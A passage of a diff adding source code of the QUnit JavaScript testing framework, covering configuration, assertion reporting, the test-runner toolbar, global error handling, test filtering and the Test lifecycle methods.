+			// allow just a key to turn on a flag, e.g., test.html?noglobals
+			current[ 1 ] = current[ 1 ] ? decodeURIComponent( current[ 1 ] ) : true;
+			if ( urlParams[ current[ 0 ] ] ) {
+				urlParams[ current[ 0 ] ] = [].concat( urlParams[ current[ 0 ] ], current[ 1 ] );
+			} else {
+				urlParams[ current[ 0 ] ] = current[ 1 ];
+			}
+		}
+	}
+
+	QUnit.urlParams = urlParams;
+
+	// String search anywhere in moduleName+testName
+	config.filter = urlParams.filter;
+
+	// Exact match of the module name
+	config.module = urlParams.module;
+
+	config.testNumber = [];
+	if ( urlParams.testNumber ) {
+
+		// Ensure that urlParams.testNumber is an array
+		urlParams.testNumber = [].concat( urlParams.testNumber );
+		for ( i = 0; i < urlParams.testNumber.length; i++ ) {
+			current = urlParams.testNumber[ i ];
+			config.testNumber.push( parseInt( current, 10 ) );
+		}
+	}
+
+	// Figure out if we're running the tests from a server or not
+	QUnit.isLocal = location.protocol === "file:";
+}());
+
+extend( QUnit, {
+
+	config: config,
+
+	// Initialize the configuration options
+	init: function() {
+		extend( config, {
+			stats: { all: 0, bad: 0 },
+			moduleStats: { all: 0, bad: 0 },
+			started: +new Date(),
+			updateRate: 1000,
+			blocking: false,
+			autostart: true,
+			autorun: false,
+			filter: "",
+			queue: [],
+			semaphore: 1
+		});
+
+		var tests, banner, result,
+			qunit = id( "qunit" );
+
+		if ( qunit ) {
+			qunit.innerHTML =
+				"<h1 id='qunit-header'>" + escapeText( document.title ) + "</h1>" +
+				"<h2 id='qunit-banner'></h2>" +
+				"<div id='qunit-testrunner-toolbar'></div>" +
+				"<h2 id='qunit-userAgent'></h2>" +
+				"<ol id='qunit-tests'></ol>";
+		}
+
+		tests = id( "qunit-tests" );
+		banner = id( "qunit-banner" );
+		result = id( "qunit-testresult" );
+
+		if ( tests ) {
+			tests.innerHTML = "";
+		}
+
+		if ( banner ) {
+			banner.className = "";
+		}
+
+		if ( result ) {
+			result.parentNode.removeChild( result );
+		}
+
+		if ( tests ) {
+			result = document.createElement( "p" );
+			result.id = "qunit-testresult";
+			result.className = "result";
+			tests.parentNode.insertBefore( result, tests );
+			result.innerHTML = "Running...<br/>&nbsp;";
+		}
+	},
+
+	// Resets the test setup. Useful for tests that modify the DOM.
+	/*
+	DEPRECATED: Use multiple tests instead of resetting inside a test.
+	Use testStart or testDone for custom cleanup.
+	This method will throw an error in 2.0, and will be removed in 2.1
+	*/
+	reset: function() {
+		var fixture = id( "qunit-fixture" );
+		if ( fixture ) {
+			fixture.innerHTML = config.fixture;
+		}
+	},
+
+	// Safe object type checking
+	is: function( type, obj ) {
+		return QUnit.objectType( obj ) === type;
+	},
+
+	objectType: function( obj ) {
+		if ( typeof obj === "undefined" ) {
+			return "undefined";
+		}
+
+		// Consider: typeof null === object
+		if ( obj === null ) {
+			return "null";
+		}
+
+		var match = toString.call( obj ).match(/^\[object\s(.*)\]$/),
+			type = match && match[1] || "";
+
+		switch ( type ) {
+			case "Number":
+				if ( isNaN(obj) ) {
+					return "nan";
+				}
+				return "number";
+			case "String":
+			case "Boolean":
+			case "Array":
+			case "Date":
+			case "RegExp":
+			case "Function":
+				return type.toLowerCase();
+		}
+		if ( typeof obj === "object" ) {
+			return "object";
+		}
+		return undefined;
+	},
+
+	push: function( result, actual, expected, message ) {
+		if ( !config.current ) {
+			throw new Error( "assertion outside test context, was " + sourceFromStacktrace() );
+		}
+
+		var output, source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: message,
+				actual: actual,
+				expected: expected
+			};
+
+		message = escapeText( message ) || ( result ? "okay" : "failed" );
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		if ( !result ) {
+			expected = escapeText( QUnit.jsDump.parse(expected) );
+			actual = escapeText( QUnit.jsDump.parse(actual) );
+			output += "<table><tr class='test-expected'><th>Expected: </th><td><pre>" + expected + "</pre></td></tr>";
+
+			if ( actual !== expected ) {
+				output += "<tr class='test-actual'><th>Result: </th><td><pre>" + actual + "</pre></td></tr>";
+				output += "<tr class='test-diff'><th>Diff: </th><td><pre>" + QUnit.diff( expected, actual ) + "</pre></td></tr>";
+			}
+
+			source = sourceFromStacktrace();
+
+			if ( source ) {
+				details.source = source;
+				output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+			}
+
+			output += "</table>";
+		}
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: !!result,
+			message: output
+		});
+	},
+
+	pushFailure: function( message, source, actual ) {
+		if ( !config.current ) {
+			throw new Error( "pushFailure() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+
+		var output,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: false,
+				message: message
+			};
+
+		message = escapeText( message ) || "error";
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		output += "<table>";
+
+		if ( actual ) {
+			output += "<tr class='test-actual'><th>Result: </th><td><pre>" + escapeText( actual ) + "</pre></td></tr>";
+		}
+
+		if ( source ) {
+			details.source = source;
+			output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+		}
+
+		output += "</table>";
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: false,
+			message: output
+		});
+	},
+
+	url: function( params ) {
+		params = extend( extend( {}, QUnit.urlParams ), params );
+		var key,
+			querystring = "?";
+
+		for ( key in params ) {
+			if ( hasOwn.call( params, key ) ) {
+				querystring += encodeURIComponent( key ) + "=" +
+					encodeURIComponent( params[ key ] ) + "&";
+			}
+		}
+		return window.location.protocol + "//" + window.location.host +
+			window.location.pathname + querystring.slice( 0, -1 );
+	},
+
+	extend: extend,
+	id: id,
+	addEvent: addEvent,
+	addClass: addClass,
+	hasClass: hasClass,
+	removeClass: removeClass
+	// load, equiv, jsDump, diff: Attached later
+});
+
+/**
+ * @deprecated: Created for backwards compatibility with test runner that set the hook function
+ * into QUnit.{hook}, instead of invoking it and passing the hook function.
+ * QUnit.constructor is set to the empty F() above so that we can add to it's prototype here.
+ * Doing this allows us to tell if the following methods have been overwritten on the actual
+ * QUnit object.
+ */
+extend( QUnit.constructor.prototype, {
+
+	// Logging callbacks; all receive a single argument with the listed properties
+	// run test/logs.html for any related changes
+	begin: registerLoggingCallback( "begin" ),
+
+	// done: { failed, passed, total, runtime }
+	done: registerLoggingCallback( "done" ),
+
+	// log: { result, actual, expected, message }
+	log: registerLoggingCallback( "log" ),
+
+	// testStart: { name }
+	testStart: registerLoggingCallback( "testStart" ),
+
+	// testDone: { name, failed, passed, total, runtime }
+	testDone: registerLoggingCallback( "testDone" ),
+
+	// moduleStart: { name }
+	moduleStart: registerLoggingCallback( "moduleStart" ),
+
+	// moduleDone: { name, failed, passed, total }
+	moduleDone: registerLoggingCallback( "moduleDone" )
+});
+
+if ( !defined.document || document.readyState === "complete" ) {
+	config.autorun = true;
+}
+
+QUnit.load = function() {
+	runLoggingCallbacks( "begin", QUnit, {} );
+
+	// Initialize the config, saving the execution queue
+	var banner, filter, i, j, label, len, main, ol, toolbar, val, selection,
+		urlConfigContainer, moduleFilter, userAgent,
+		numModules = 0,
+		moduleNames = [],
+		moduleFilterHtml = "",
+		urlConfigHtml = "",
+		oldconfig = extend( {}, config );
+
+	QUnit.init();
+	extend(config, oldconfig);
+
+	config.blocking = false;
+
+	len = config.urlConfig.length;
+
+	for ( i = 0; i < len; i++ ) {
+		val = config.urlConfig[i];
+		if ( typeof val === "string" ) {
+			val = {
+				id: val,
+				label: val
+			};
+		}
+		config[ val.id ] = QUnit.urlParams[ val.id ];
+		if ( !val.value || typeof val.value === "string" ) {
+			urlConfigHtml += "<input id='qunit-urlconfig-" + escapeText( val.id ) +
+				"' name='" + escapeText( val.id ) +
+				"' type='checkbox'" +
+				( val.value ? " value='" + escapeText( val.value ) + "'" : "" ) +
+				( config[ val.id ] ? " checked='checked'" : "" ) +
+				" title='" + escapeText( val.tooltip ) +
+				"'><label for='qunit-urlconfig-" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) + "'>" + val.label + "</label>";
+		} else {
+			urlConfigHtml += "<label for='qunit-urlconfig-" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) +
+				"'>" + val.label +
+				": </label><select id='qunit-urlconfig-" + escapeText( val.id ) +
+				"' name='" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) +
+				"'><option></option>";
+			selection = false;
+			if ( QUnit.is( "array", val.value ) ) {
+				for ( j = 0; j < val.value.length; j++ ) {
+					urlConfigHtml += "<option value='" + escapeText( val.value[j] ) + "'" +
+						( config[ val.id ] === val.value[j] ?
+							(selection = true) && " selected='selected'" :
+							"" ) +
+						">" + escapeText( val.value[j] ) + "</option>";
+				}
+			} else {
+				for ( j in val.value ) {
+					if ( hasOwn.call( val.value, j ) ) {
+						urlConfigHtml += "<option value='" + escapeText( j ) + "'" +
+							( config[ val.id ] === j ?
+								(selection = true) && " selected='selected'" :
+								"" ) +
+							">" + escapeText( val.value[j] ) + "</option>";
+					}
+				}
+			}
+			if ( config[ val.id ] && !selection ) {
+				urlConfigHtml += "<option value='" + escapeText( config[ val.id ] ) +
+					"' selected='selected' disabled='disabled'>" +
+					escapeText( config[ val.id ] ) +
+					"</option>";
+			}
+			urlConfigHtml += "</select>";
+		}
+	}
+	for ( i in config.modules ) {
+		if ( config.modules.hasOwnProperty( i ) ) {
+			moduleNames.push(i);
+		}
+	}
+	numModules = moduleNames.length;
+	moduleNames.sort( function( a, b ) {
+		return a.localeCompare( b );
+	});
+	moduleFilterHtml += "<label for='qunit-modulefilter'>Module: </label><select id='qunit-modulefilter' name='modulefilter'><option value='' " +
+		( config.module === undefined  ? "selected='selected'" : "" ) +
+		">< All Modules ></option>";
+
+
+	for ( i = 0; i < numModules; i++) {
+			moduleFilterHtml += "<option value='" + escapeText( encodeURIComponent(moduleNames[i]) ) + "' " +
+				( config.module === moduleNames[i] ? "selected='selected'" : "" ) +
+				">" + escapeText(moduleNames[i]) + "</option>";
+	}
+	moduleFilterHtml += "</select>";
+
+	// `userAgent` initialized at top of scope
+	userAgent = id( "qunit-userAgent" );
+	if ( userAgent ) {
+		userAgent.innerHTML = navigator.userAgent;
+	}
+
+	// `banner` initialized at top of scope
+	banner = id( "qunit-header" );
+	if ( banner ) {
+		banner.innerHTML = "<a href='" + QUnit.url({ filter: undefined, module: undefined, testNumber: undefined }) + "'>" + banner.innerHTML + "</a> ";
+	}
+
+	// `toolbar` initialized at top of scope
+	toolbar = id( "qunit-testrunner-toolbar" );
+	if ( toolbar ) {
+		// `filter` initialized at top of scope
+		filter = document.createElement( "input" );
+		filter.type = "checkbox";
+		filter.id = "qunit-filter-pass";
+
+		addEvent( filter, "click", function() {
+			var tmp,
+				ol = id( "qunit-tests" );
+
+			if ( filter.checked ) {
+				ol.className = ol.className + " hidepass";
+			} else {
+				tmp = " " + ol.className.replace( /[\n\t\r]/g, " " ) + " ";
+				ol.className = tmp.replace( / hidepass /, " " );
+			}
+			if ( defined.sessionStorage ) {
+				if (filter.checked) {
+					sessionStorage.setItem( "qunit-filter-passed-tests", "true" );
+				} else {
+					sessionStorage.removeItem( "qunit-filter-passed-tests" );
+				}
+			}
+		});
+
+		if ( config.hidepassed || defined.sessionStorage && sessionStorage.getItem( "qunit-filter-passed-tests" ) ) {
+			filter.checked = true;
+			// `ol` initialized at top of scope
+			ol = id( "qunit-tests" );
+			ol.className = ol.className + " hidepass";
+		}
+		toolbar.appendChild( filter );
+
+		// `label` initialized at top of scope
+		label = document.createElement( "label" );
+		label.setAttribute( "for", "qunit-filter-pass" );
+		label.setAttribute( "title", "Only show tests and assertions that fail. Stored in sessionStorage." );
+		label.innerHTML = "Hide passed tests";
+		toolbar.appendChild( label );
+
+		urlConfigContainer = document.createElement("span");
+		urlConfigContainer.innerHTML = urlConfigHtml;
+		// For oldIE support:
+		// * Add handlers to the individual elements instead of the container
+		// * Use "click" instead of "change" for checkboxes
+		// * Fallback from event.target to event.srcElement
+		addEvents( urlConfigContainer.getElementsByTagName("input"), "click", function( event ) {
+			var params = {},
+				target = event.target || event.srcElement;
+			params[ target.name ] = target.checked ?
+				target.defaultValue || true :
+				undefined;
+			window.location = QUnit.url( params );
+		});
+		addEvents( urlConfigContainer.getElementsByTagName("select"), "change", function( event ) {
+			var params = {},
+				target = event.target || event.srcElement;
+			params[ target.name ] = target.options[ target.selectedIndex ].value || undefined;
+			window.location = QUnit.url( params );
+		});
+		toolbar.appendChild( urlConfigContainer );
+
+		if (numModules > 1) {
+			moduleFilter = document.createElement( "span" );
+			moduleFilter.setAttribute( "id", "qunit-modulefilter-container" );
+			moduleFilter.innerHTML = moduleFilterHtml;
+			addEvent( moduleFilter.lastChild, "change", function() {
+				var selectBox = moduleFilter.getElementsByTagName("select")[0],
+					selectedModule = decodeURIComponent(selectBox.options[selectBox.selectedIndex].value);
+
+				window.location = QUnit.url({
+					module: ( selectedModule === "" ) ? undefined : selectedModule,
+					// Remove any existing filters
+					filter: undefined,
+					testNumber: undefined
+				});
+			});
+			toolbar.appendChild(moduleFilter);
+		}
+	}
+
+	// `main` initialized at top of scope
+	main = id( "qunit-fixture" );
+	if ( main ) {
+		config.fixture = main.innerHTML;
+	}
+
+	if ( config.autostart ) {
+		QUnit.start();
+	}
+};
+
+if ( defined.document ) {
+	addEvent( window, "load", QUnit.load );
+}
+
+// `onErrorFnPrev` initialized at top of scope
+// Preserve other handlers
+onErrorFnPrev = window.onerror;
+
+// Cover uncaught exceptions
+// Returning true will suppress the default browser handler,
+// returning false will let it run.
+window.onerror = function ( error, filePath, linerNr ) {
+	var ret = false;
+	if ( onErrorFnPrev ) {
+		ret = onErrorFnPrev( error, filePath, linerNr );
+	}
+
+	// Treat return value as window.onerror itself does,
+	// Only do our handling if not suppressed.
+	if ( ret !== true ) {
+		if ( QUnit.config.current ) {
+			if ( QUnit.config.current.ignoreGlobalErrors ) {
+				return true;
+			}
+			QUnit.pushFailure( error, filePath + ":" + linerNr );
+		} else {
+			QUnit.test( "global failure", extend( function() {
+				QUnit.pushFailure( error, filePath + ":" + linerNr );
+			}, { validTest: validTest } ) );
+		}
+		return false;
+	}
+
+	return ret;
+};
+
+function done() {
+	config.autorun = true;
+
+	// Log the last module results
+	if ( config.previousModule ) {
+		runLoggingCallbacks( "moduleDone", QUnit, {
+			name: config.previousModule,
+			failed: config.moduleStats.bad,
+			passed: config.moduleStats.all - config.moduleStats.bad,
+			total: config.moduleStats.all
+		});
+	}
+	delete config.previousModule;
+
+	var i, key,
+		banner = id( "qunit-banner" ),
+		tests = id( "qunit-tests" ),
+		runtime = +new Date() - config.started,
+		passed = config.stats.all - config.stats.bad,
+		html = [
+			"Tests completed in ",
+			runtime,
+			" milliseconds.<br/>",
+			"<span class='passed'>",
+			passed,
+			"</span> assertions of <span class='total'>",
+			config.stats.all,
+			"</span> passed, <span class='failed'>",
+			config.stats.bad,
+			"</span> failed."
+		].join( "" );
+
+	if ( banner ) {
+		banner.className = ( config.stats.bad ? "qunit-fail" : "qunit-pass" );
+	}
+
+	if ( tests ) {
+		id( "qunit-testresult" ).innerHTML = html;
+	}
+
+	if ( config.altertitle && defined.document && document.title ) {
+		// show ✖ for good, ✔ for bad suite result in title
+		// use escape sequences in case file gets loaded with non-utf-8-charset
+		document.title = [
+			( config.stats.bad ? "\u2716" : "\u2714" ),
+			document.title.replace( /^[\u2714\u2716] /i, "" )
+		].join( " " );
+	}
+
+	// clear own sessionStorage items if all tests passed
+	if ( config.reorder && defined.sessionStorage && config.stats.bad === 0 ) {
+		// `key` & `i` initialized at top of scope
+		for ( i = 0; i < sessionStorage.length; i++ ) {
+			key = sessionStorage.key( i++ );
+			if ( key.indexOf( "qunit-test-" ) === 0 ) {
+				sessionStorage.removeItem( key );
+			}
+		}
+	}
+
+	// scroll back to top to show results
+	if ( config.scrolltop && window.scrollTo ) {
+		window.scrollTo(0, 0);
+	}
+
+	runLoggingCallbacks( "done", QUnit, {
+		failed: config.stats.bad,
+		passed: passed,
+		total: config.stats.all,
+		runtime: runtime
+	});
+}
+
+/** @return Boolean: true if this test should be ran */
+function validTest( test ) {
+	var include,
+		filter = config.filter && config.filter.toLowerCase(),
+		module = config.module && config.module.toLowerCase(),
+		fullName = ( test.module + ": " + test.testName ).toLowerCase();
+
+	// Internally-generated tests are always valid
+	if ( test.callback && test.callback.validTest === validTest ) {
+		delete test.callback.validTest;
+		return true;
+	}
+
+	if ( config.testNumber.length > 0 ) {
+		if ( inArray( test.testNumber, config.testNumber ) < 0 ) {
+			return false;
+		}
+	}
+
+	if ( module && ( !test.module || test.module.toLowerCase() !== module ) ) {
+		return false;
+	}
+
+	if ( !filter ) {
+		return true;
+	}
+
+	include = filter.charAt( 0 ) !== "!";
+	if ( !include ) {
+		filter = filter.slice( 1 );
+	}
+
+	// If the filter matches, we need to honour include
+	if ( fullName.indexOf( filter ) !== -1 ) {
+		return include;
+	}
+
+	// Otherwise, do the opposite
+	return !include;
+}
+
+// so far supports only Firefox, Chrome and Opera (buggy), Safari (for real exceptions)
+// Later Safari and IE10 are supposed to support error.stack as well
+// See also https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Error/Stack
+function extractStacktrace( e, offset ) {
+	offset = offset === undefined ? 3 : offset;
+
+	var stack, include, i;
+
+	if ( e.stacktrace ) {
+		// Opera
+		return e.stacktrace.split( "\n" )[ offset + 3 ];
+	} else if ( e.stack ) {
+		// Firefox, Chrome
+		stack = e.stack.split( "\n" );
+		if (/^error$/i.test( stack[0] ) ) {
+			stack.shift();
+		}
+		if ( fileName ) {
+			include = [];
+			for ( i = offset; i < stack.length; i++ ) {
+				if ( stack[ i ].indexOf( fileName ) !== -1 ) {
+					break;
+				}
+				include.push( stack[ i ] );
+			}
+			if ( include.length ) {
+				return include.join( "\n" );
+			}
+		}
+		return stack[ offset ];
+	} else if ( e.sourceURL ) {
+		// Safari, PhantomJS
+		// hopefully one day Safari provides actual stacktraces
+		// exclude useless self-reference for generated Error objects
+		if ( /qunit.js$/.test( e.sourceURL ) ) {
+			return;
+		}
+		// for actual exceptions, this is useful
+		return e.sourceURL + ":" + e.line;
+	}
+}
+function sourceFromStacktrace( offset ) {
+	try {
+		throw new Error();
+	} catch ( e ) {
+		return extractStacktrace( e, offset );
+	}
+}
+
+/**
+ * Escape text for attribute or text content.
+ */
+function escapeText( s ) {
+	if ( !s ) {
+		return "";
+	}
+	s = s + "";
+	// Both single quotes and double quotes (for attributes)
+	return s.replace( /['"<>&]/g, function( s ) {
+		switch( s ) {
+			case "'":
+				return "&#039;";
+			case "\"":
+				return "&quot;";
+			case "<":
+				return "&lt;";
+			case ">":
+				return "&gt;";
+			case "&":
+				return "&amp;";
+		}
+	});
+}
+
+function synchronize( callback, last ) {
+	config.queue.push( callback );
+
+	if ( config.autorun && !config.blocking ) {
+		process( last );
+	}
+}
+
+function process( last ) {
+	function next() {
+		process( last );
+	}
+	var start = new Date().getTime();
+	config.depth = config.depth ? config.depth + 1 : 1;
+
+	while ( config.queue.length && !config.blocking ) {
+		if ( !defined.setTimeout || config.updateRate <= 0 || ( ( new Date().getTime() - start ) < config.updateRate ) ) {
+			config.queue.shift()();
+		} else {
+			setTimeout( next, 13 );
+			break;
+		}
+	}
+	config.depth--;
+	if ( last && !config.blocking && !config.queue.length && config.depth === 0 ) {
+		done();
+	}
+}
+
+function saveGlobal() {
+	config.pollution = [];
+
+	if ( config.noglobals ) {
+		for ( var key in window ) {
+			if ( hasOwn.call( window, key ) ) {
+				// in Opera sometimes DOM element ids show up here, ignore them
+				if ( /^qunit-test-output/.test( key ) ) {
+					continue;
+				}
+				config.pollution.push( key );
+			}
+		}
+	}
+}
+
+function checkPollution() {
+	var newGlobals,
+		deletedGlobals,
+		old = config.pollution;
+
+	saveGlobal();
+
+	newGlobals = diff( config.pollution, old );
+	if ( newGlobals.length > 0 ) {
+		QUnit.pushFailure( "Introduced global variable(s): " + newGlobals.join(", ") );
+	}
+
+	deletedGlobals = diff( old, config.pollution );
+	if ( deletedGlobals.length > 0 ) {
+		QUnit.pushFailure( "Deleted global variable(s): " + deletedGlobals.join(", ") );
+	}
+}
+
+// returns a new Array with the elements that are in a but not in b
+function diff( a, b ) {
+	var i, j,
+		result = a.slice();
+
+	for ( i = 0; i < result.length; i++ ) {
+		for ( j = 0; j < b.length; j++ ) {
+			if ( result[i] === b[j] ) {
+				result.splice( i, 1 );
+				i--;
+				break;
+			}
+		}
+	}
+	return result;
+}
+
+function extend( a, b ) {
+	for ( var prop in b ) {
+		if ( hasOwn.call( b, prop ) ) {
+			// Avoid "Member not found" error in IE8 caused by messing with window.constructor
+			if ( !( prop === "constructor" && a === window ) ) {
+				if ( b[ prop ] === undefined ) {
+					delete a[ prop ];
+				} else {
+					a[ prop ] = b[ prop ];
+				}
+			}
+		}
+	}
+
+	return a;
+}
+
+/**
+ * @param {HTMLElement} elem
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvent( elem, type, fn ) {
+	if ( elem.addEventListener ) {
+
+		// Standards-based browsers
+		elem.addEventListener( type, fn, false );
+	} else if ( elem.attachEvent ) {
+
+		// support: IE <9
+		elem.attachEvent( "on" + type, fn );
+	} else {
+
+		// Caller must ensure support for event listeners is present
+		throw new Error( "addEvent() was called in a context without event listener support" );
+	}
+}
+
+/**
+ * @param {Array|NodeList} elems
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvents( elems, type, fn ) {
+	var i = elems.length;
+	while ( i-- ) {
+		addEvent( elems[i], type, fn );
+	}
+}
+
+function hasClass( elem, name ) {
+	return (" " + elem.className + " ").indexOf(" " + name + " ") > -1;
+}
+
+function addClass( elem, name ) {
+	if ( !hasClass( elem, name ) ) {
+		elem.className += (elem.className ? " " : "") + name;
+	}
+}
+
+function removeClass( elem, name ) {
+	var set = " " + elem.className + " ";
+	// Class name may appear multiple times
+	while ( set.indexOf(" " + name + " ") > -1 ) {
+		set = set.replace(" " + name + " " , " ");
+	}
+	// If possible, trim it for prettiness, but not necessarily
+	elem.className = typeof set.trim === "function" ? set.trim() : set.replace(/^\s+|\s+$/g, "");
+}
+
+function id( name ) {
+	return defined.document && document.getElementById && document.getElementById( name );
+}
+
+function registerLoggingCallback( key ) {
+	return function( callback ) {
+		config[key].push( callback );
+	};
+}
+
+// Supports deprecated method of completely overwriting logging callbacks
+function runLoggingCallbacks( key, scope, args ) {
+	var i, callbacks;
+	if ( QUnit.hasOwnProperty( key ) ) {
+		QUnit[ key ].call(scope, args );
+	} else {
+		callbacks = config[ key ];
+		for ( i = 0; i < callbacks.length; i++ ) {
+			callbacks[ i ].call( scope, args );
+		}
+	}
+}
+
+// from jquery.js
+function inArray( elem, array ) {
+	if ( array.indexOf ) {
+		return array.indexOf( elem );
+	}
+
+	for ( var i = 0, length = array.length; i < length; i++ ) {
+		if ( array[ i ] === elem ) {
+			return i;
+		}
+	}
+
+	return -1;
+}
+
+function Test( settings ) {
+	extend( this, settings );
+	this.assertions = [];
+	this.testNumber = ++Test.count;
+}
+
+Test.count = 0;
+
+Test.prototype = {
+	init: function() {
+		var a, b, li,
+			tests = id( "qunit-tests" );
+
+		if ( tests ) {
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml;
+
+			// `a` initialized at top of scope
+			a = document.createElement( "a" );
+			a.innerHTML = "Rerun";
+			a.href = QUnit.url({ testNumber: this.testNumber });
+
+			li = document.createElement( "li" );
+			li.appendChild( b );
+			li.appendChild( a );
+			li.className = "running";
+			li.id = this.id = "qunit-test-output" + testId++;
+
+			tests.appendChild( li );
+		}
+	},
+	setup: function() {
+		if (
+			// Emit moduleStart when we're switching from one module to another
+			this.module !== config.previousModule ||
+				// They could be equal (both undefined) but if the previousModule property doesn't
+				// yet exist it means this is the first test in a suite that isn't wrapped in a
+				// module, in which case we'll just emit a moduleStart event for 'undefined'.
+				// Without this, reporters can get testStart before moduleStart  which is a problem.
+				!hasOwn.call( config, "previousModule" )
+		) {
+			if ( hasOwn.call( config, "previousModule" ) ) {
+				runLoggingCallbacks( "moduleDone", QUnit, {
+					name: config.previousModule,
+					failed: config.moduleStats.bad,
+					passed: config.moduleStats.all - config.moduleStats.bad,
+					total: config.moduleStats.all
+				});
+			}
+			config.previousModule = this.module;
+			config.moduleStats = { all: 0, bad: 0 };
+			runLoggingCallbacks( "moduleStart", QUnit, {
+				name: this.module
+			});
+		}
+
+		config.current = this;
+
+		this.testEnvironment = extend({
+			setup: function() {},
+			teardown: function() {}
+		}, this.moduleTestEnvironment );
+
+		this.started = +new Date();
+		runLoggingCallbacks( "testStart", QUnit, {
+			name: this.testName,
+			module: this.module
+		});
+
+		/*jshint camelcase:false */
+
+
+		/**
+		 * Expose the current test environment.
+		 *
+		 * @deprecated since 1.12.0: Use QUnit.config.current.testEnvironment instead.
+		 */
+		QUnit.current_testEnvironment = this.testEnvironment;
+
+		/*jshint camelcase:true */
+
+		if ( !config.pollution ) {
+			saveGlobal();
+		}
+		if ( config.notrycatch ) {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+			return;
+		}
+		try {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+		} catch( e ) {
+			QUnit.pushFailure( "Setup failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+		}
+	},
+	run: function() {
+		config.current = this;
+
+		var running = id( "qunit-testresult" );
+
+		if ( running ) {
+			running.innerHTML = "Running: <br/>" + this.nameHtml;
+		}
+
+		if ( this.async ) {
+			QUnit.stop();
+		}
+
+		this.callbackStarted = +new Date();
+
+		if ( config.notrycatch ) {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+			return;
+		}
+
+		try {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+		} catch( e ) {
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+
+			QUnit.pushFailure( "Died on test #" + (this.assertions.length + 1) + " " + this.stack + ": " + ( e.message || e ), extractStacktrace( e, 0 ) );
+			// else next test will carry the responsibility
+			saveGlobal();
+
+			// Restart the tests if they're blocking
+			if ( config.blocking ) {
+				QUnit.start();
+			}
+		}
+	},
+	teardown: function() {
+		config.current = this;
+		if ( config.notrycatch ) {
+			if ( typeof this.callbackRuntime === "undefined" ) {
+				this.callbackRuntime = +new Date() - this.callbackStarted;
+			}
+			this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			return;
+		} else {
+			try {
+				this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			} catch( e ) {
+				QUnit.pushFailure( "Teardown failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+			}
+		}
+		checkPollution();
+	},
+	finish: function() {
+		config.current = this;
+		if ( config.requireExpects && this.expected === null ) {
+			QUnit.pushFailure( "Expected number of assertions to be defined, but expect() was not called.", this.stack );
+		} else if ( this.expected !== null && this.expected !== this.assertions.length ) {
+			QUnit.pushFailure( "Expected " + this.expected + " assertions, but " + this.assertions.length + " were run", this.stack );
+		} else if ( this.expected === null && !this.assertions.length ) {
+			QUnit.pushFailure( "Expected at least one assertion, but none were run - call expect(0) to accept zero assertions.", this.stack );
+		}
+
+		var i, assertion, a, b, time, li, ol,
+			test = this,
+			good = 0,
+			bad = 0,
+			tests = id( "qunit-tests" );
+
+		this.runtime = +new Date() - this.started;
+		config.stats.all += this.assertions.length;
+		config.moduleStats.all += this.assertions.length;
+
+		if ( tests ) {
+			ol = document.createElement( "ol" );
+			ol.className = "qunit-assert-list";
+
+			for ( i = 0; i < this.assertions.length; i++ ) {
+				assertion = this.assertions[i];
+
+				li = document.createElement( "li" );
+				li.className = assertion.result ? "pass" : "fail";
+				li.innerHTML = assertion.message || ( assertion.result ? "okay" : "failed" );
+				ol.appendChild( li );
+
+				if ( assertion.result ) {
+					good++;
+				} else {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+
+			// store result when possible
+			if ( QUnit.config.reorder && defined.sessionStorage ) {
+				if ( bad ) {
+					sessionStorage.setItem( "qunit-test-" + this.module + "-" + this.testName, bad );
+				} else {
+					sessionStorage.removeItem( "qunit-test-" + this.module + "-" + this.testName );
+				}
+			}
+
+			if ( bad === 0 ) {
+				addClass( ol, "qunit-collapsed" );
+			}
+
+			// `b` initialized at top of scope
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml + " <b class='counts'>(<b class='failed'>" + bad + "</b>, <b class='passed'>" + good + "</b>, " + this.assertions.length + ")</b>";
+
+			addEvent(b, "click", function() {
+				var next = b.parentNode.lastChild,
+					collapsed = hasClass( next, "qunit-collapsed" );
+				( collapsed ? removeClass : addClass )( next, "qunit-collapsed" );
+			});
+
+			addEvent(b, "dblclick", function( e ) {
+				var target = e && e.target ? e.target : window.event.srcElement;
+				if ( target.nodeName.toLowerCase() === "span" || target.nodeName.toLowerCase() === "b" ) {
+					target = target.parentNode;
+				}
+				if ( window.location && target.nodeName.toLowerCase() === "strong" ) {
+					window.location = QUnit.url({ testNumber: test.testNumber });
+				}
+			});
+
+			// `time` initialized at top of scope
+			time = document.createElement( "span" );
+			time.className = "runtime";
+			time.innerHTML = this.runtime + " ms";
+
+			// `li` initialized at top of scope
+			li = id( this.id );
+			li.className = bad ? "fail" : "pass";
+			li.removeChild( li.firstChild );
+			a = li.firstChild;
+			li.appendChild( b );
+			li.appendChild( a );
+			li.appendChild( time );
+			li.appendChild( ol );
+
+		} else {
+			for ( i = 0; i < this.assertions.length; i++ ) {
